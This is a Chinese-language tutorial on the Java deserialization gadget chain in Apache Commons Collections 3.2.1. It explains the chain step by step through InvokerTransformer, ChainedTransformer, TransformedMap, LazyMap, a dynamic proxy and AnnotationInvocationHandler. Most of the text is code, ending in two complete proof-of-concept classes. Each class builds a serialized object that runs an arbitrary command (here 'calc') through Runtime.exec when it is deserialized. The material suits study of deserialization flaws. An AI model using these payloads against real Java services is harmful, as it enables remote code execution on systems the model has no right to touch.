环境代建

去官网下载 jdk8u65
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

然后去 下载openjdk
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/

将”Java\jdk1.8.0_65”中的的src.zip解压到当前目录

把下载的openjdk里 /share/classes/ 里面的 sun包 复制到 jdk1.8.0_65\src中,并将 jdk1.8.0_65\src路径添加到项目的源路径

然后”文件”==> “项目结构”==>”SDK”==>”源路径”==>”添加”==>”应用”

从这个网站下载commons-collections-3.2.1.jar

https://nowjava.com/jar/detail/m02261229/commons-collections-3.2.1.jar.html

然后”文件”==> “项目结构”==>”库”==>”添加”==>”应用”

CheckSetValue

Runtime

java任意执行命令的代码

1
Runtime.getRuntime().exec("calc");

将Runtime执行命令的方式以反射的形式写出

1
2
3
4
Runtime r = Runtime.getRuntime();
Class<? extends Runtime> clazz = r.getClass();
Method exec = clazz.getMethod("exec", String.class);
exec.invoke(r,"calc");

InvokerTransformer

InvokerTransformer类中的transform这样一段代码非常危险,完全符和反射调用类的成员方法的形式

1
2
3
4
5
6
7
8
9
10
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

}catch {...}

而且三个参数完全可控

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

尝试将Runtime反射的形式改成invokerTransformer调用transform,也是可以执行命令的

1
2
3
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(r);

按照Java反序列化中找POP链的思路,我们需要寻找哪里调用transform方法,然后尝试”移花接木”;

TransformedMap

其实有很多地方都有用到transform方法,但是可以利用的方法在TransformedMap中的checkSetValue

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

我们可以看看TransformedMap

构造方法的访问修饰符为protected(只能在同包或者别的包的子类)

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

此类还有一个public修饰的静态方法decorate,返回一个TransformedMap对象

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

接下来看看哪里调用了checkSetValue方法,其实只有一处地方调用了;

AbstractInputCheckedMapDecorator

抽象类AbstractInputCheckedMapDecorator的静态内部类MapEntrysetValue方法调用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

也是在抽象类AbstractInputCheckedMapDecorator下的一个静态内部类EntrySetIteratornext方法;返回了一个MapEntry对象

1
2
3
4
public Object next() {
Map.Entry entry = (Map.Entry) iterator.next();
return new MapEntry(entry, parent);
}

所以我们将代码改成下面这样也是可以执行命令的,看似有点麻烦,但是动态调试一下就非常简单

1
2
3
4
5
6
7
8
9
10
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

Set<Map.Entry<Object, Object>> entries = transformedMap.entrySet();
Iterator<Map.Entry<Object, Object>> iterator = entries.iterator();
Map.Entry<Object, Object> next = iterator.next();
next.setValue(r);

其实setValue是一个常用的方法;主要用来处理双列集合的,例如:

1
2
3
4
5
6
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("zzz","bbb");
Set<Map.Entry<Object, Object>> entries = hashMap.entrySet();
for (Map.Entry<Object, Object> entry : entries) {
entry.setValue("ccc");
}

我们不妨将代码改成下面,也是可以执行命令的,增强for的底层还是调用了迭代器;

1
2
3
4
5
6
7
8
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
for (Map.Entry entry : transformedMap.entrySet()) {
entry.setValue(r);
}

可以动态调试看看

实际上AbstractInputCheckedMapDecoratorTransformedMap的父类;TransformedMap没有entrySet()方法,所以会去他的父类找;

并且赋值parentTransformedMap对象

增强for的底层还是调用了迭代器;返回了一个EntrySetIterator对象,接下了就是调用hasNext()next()方法

可以着重看一下next方法;返回一个MapEntry对象,

最后调用setValue方法

然后就一步一步调用到invokerTransformer的transform方法

AnnotationInvocationHandler

最终发现sun.reflect.annotation.AnnotationInvocationHandler类下中的readObject方法调用了setValue

三个问题

  1. Runtime是没有实现Serializable接口的,无法序列化
  2. AnnotationInvocationHandler中的readObject执行 memberValue.setValue需要绕过两if判断
  3. memberValue.setValue中的值无法控制

Serializable

先来解决第一个问题

虽然Runtime是没有实现Serializable接口的,但是Class实现了Serializable接口;

1
2
3
4
Runtime r = Runtime.getRuntime();
Class<? extends Runtime> clazz = r.getClass();
Method exec = clazz.getMethod("exec", String.class);
exec.invoke(r,"calc");

改成下面这种形式

1
2
3
4
5
6
Class r = Runtime.class;
Method getRuntime = r.getMethod("getRuntime", null);
//注意"getRuntime"是一个静态方法,obj可以为null
Object runtime = getRuntime.invoke(null, null);
Method exec = r.getMethod("exec", String.class);
exec.invoke(runtime,"calc");

接着改

1
2
3
4
Class r = Runtime.class;
Object getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(r);
Object invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(invoke);

改成这样也是可以执行命令的;但是问题又来了,上面一共执行了三次transform方法。但是InvokerTransformer类中只能执行一次transform方法;

这里又要介绍一个需要利用的类ChainedTransformer;可以看一下此类的构造方法和transform方法

1
2
3
4
5
6
7
8
9
10
11
12
13
//传递一个transformers方法
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

//一个for循环,将上一个对象当作下一个函数执行,循环嵌套
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

因此我们可以改成下面这种形式,完美解决

1
2
3
4
5
6
7
8
Transformer[] transformers = {
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

绕过if

再来解决怎么绕过两if判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

先看第一个if判断;如果memberType不为空就会接着执行下面的代码;

1
2
3
4
5
6
7
8
9
10
11
12
13
Annotation是一个注解类,下面三步就是在得到type的成员类型,而this.type = type;就是AnnotationInvocationHandler构造方法中的第一个参数,是我们可控的
this.type = type;
annotationType = AnnotationType.getInstance(type); 得到实例
Map<String, Class<?>> memberTypes = annotationType.memberTypes(); 用于获取注解类型中的所有成员类型(包括成员变量、成员方法等)

String name = memberValue.getKey(); 得到Key
Class<?> memberType = memberTypes.get(name); 然后从注解类型中的所有成员类型得到上一步得到的Key,如果Key不存在返回空

目的就是要让memberType不为空;所以我们要让传递的Key再某一个注解里有对应的成员类型
@Retention@Target注解中存在value成员,使得传递的Key为value就行

// RetentionPolicy value()
// ElementType[] value();

第二个if判断

1
2
3
memberType.isInstance(value)
如果value是memberType所表示的成员类型的一个实例,则该方法返回true;否则返回false
如果我们要传递的value不是memberType所表示的成员类型的一个实例;所以memberType.isInstance()会返回false,再加上前面的!; 最终结果为真;

ConstantTransformer

最后解决memberValue.setValue中的值无法控制

这里需要借助另一个类ConstantTransformer;这个类非常有意思,构造方法传递什么值,transform就返回什么值

1
2
3
4
5
6
7
8
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

public Object transform(Object input) {
return iConstant;
}

改成下面这种形式

1
2
3
4
5
6
7
8
9
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("deadbeef");

动态调试看到,new ConstantTransformer(Runtime.class)iConstant赋值为了Runtime.class;接下来调用ConstantTransformer.transform方法,不管传过来的”input”是什么值,始终返回Runtime.class

Gadget chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator.setValue
TransformedMap.decorate
TransformedMap.checkSetValue
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

poc1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package demo1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Test3 {
public static void main(String[] args) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException {

Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","deadbeef");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandler = clazz.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandler.setAccessible(true);
Object o = annotationInvocationHandler.newInstance(Target.class,transformedMap);

serialize(o);
unserialize();
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}

LazyMap

什么是代理模式?

代理(Proxy)是一种设计模式,为其他对象提供一种代理以控制对这个对象的访问。

代理模式的组成

  • 抽象角色:通过接口或抽象类声明真实角色实现的业务方法。
  • 代理角色:实现抽象角色,是真实角色的代理,通过真实角色的业务逻辑方法来实现抽象方法,并可以附加自己的操作。
  • 真实角色:实现抽象角色,定义真实角色所要实现的业务逻辑,供代理角色调用。

代理模式的关键点是:代理对象与目标对象.代理对象是对目标对象的扩展,并会调用目标对象。

静态代理:

代理一个User类的show方法

先创建一个接口作为抽象角色;

1
2
3
public interface IUser {
public abstract void show();
}

创建一个需要被代理的类 User,

1
2
3
4
5
6
7
public class User implements IUser {

public void show(){
System.out.println("show");
}

}

再创建一个代理类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class UserProxy implements IUser{

IUser user;

public UserProxy() {
}
public UserProxy(IUser user) {
this.user = user;
}
@Override
public void show() {
user.show();
System.out.println("调用了show方法");
}
}

再创建一个测试类

1
2
3
4
5
6
7
8
9
10
11
public class ProxyTest {

public static void main(String[] args) {
IUser user = new User();
IUser userLog = new UserProxy(user);
userLog.show();
}
}

//show
//调用了show方法

总结:

  • 静态代理在使用时,需要定义接口或者父类,被代理对象与代理对象一起实现接口或继承相同 的父类

缺点:

  • 因为代理对象需要和被代理对象实现相同的接口或父类,所以会有太多的代理类
  • 一旦接口中增加了方法后,被代理对象和代理对象都需要维护(非常麻烦,不方便)

比如我如果代理的方法还有update和dowload

需要在接口,被代理的类,和代理类都需要写update和dowload方法,这就非常繁琐;

动态代理:

代理一个User类的show方法

需要代理的类和接口都和动态代理展示的一样

将静态代理类改成动态代理类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class UserProxy002 implements InvocationHandler {
private IUser target;
public UserProxy002(IUser target) {
this.target = target;
}

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("开始打印");
Object returnValue = method.invoke(target, args);
System.out.println("结束打印");
return returnValue;
}
}

测试类

1
2
3
4
5
6
7
8
9
10
11
12
public class ProxyTest {

public static void main(String[] args) {
IUser user = new User();
InvocationHandler userProxy002 = new UserProxy002(user);
IUser o = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userProxy002);
o.show();
}
}
//开始打印
//show
//结束打印

当调用o.show()时,就会去调用UserProxy002类中的invoke方法,懂了这一点的话,看第二条链会简单许多;

LazyMap

第二条链的入口和后面一部分都类似,

我们不用TransformedMap,改用LazyMap;

LazyMap中的get方法调用了factory.transform(key);

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

invoke

而在AnnotationInvocationHandler中的invoke方法中调用了get,并且memberValues是可控的;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

...
}

我们仍需要绕过两if

第一个if,调用的方法不能是equals;第二个if,只能代理无参方法,否则报异常;

Gadget chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

poc2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package demo1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {

Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","deadbeef");
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandler = clazz.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandler.setAccessible(true);
Object o1 = annotationInvocationHandler.newInstance(Target.class, lazyMap);

Map o2 =(Map) Proxy.newProxyInstance(annotationInvocationHandler.getClass().getClassLoader(), new Class[]{Map.class}, (InvocationHandler) o1);
Object o = annotationInvocationHandler.newInstance(Target.class,o2);

serialize(o);
unserialize();
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}

}

注意:o2.entrySet() ==> o1.invoke ==> lazyMap.get => …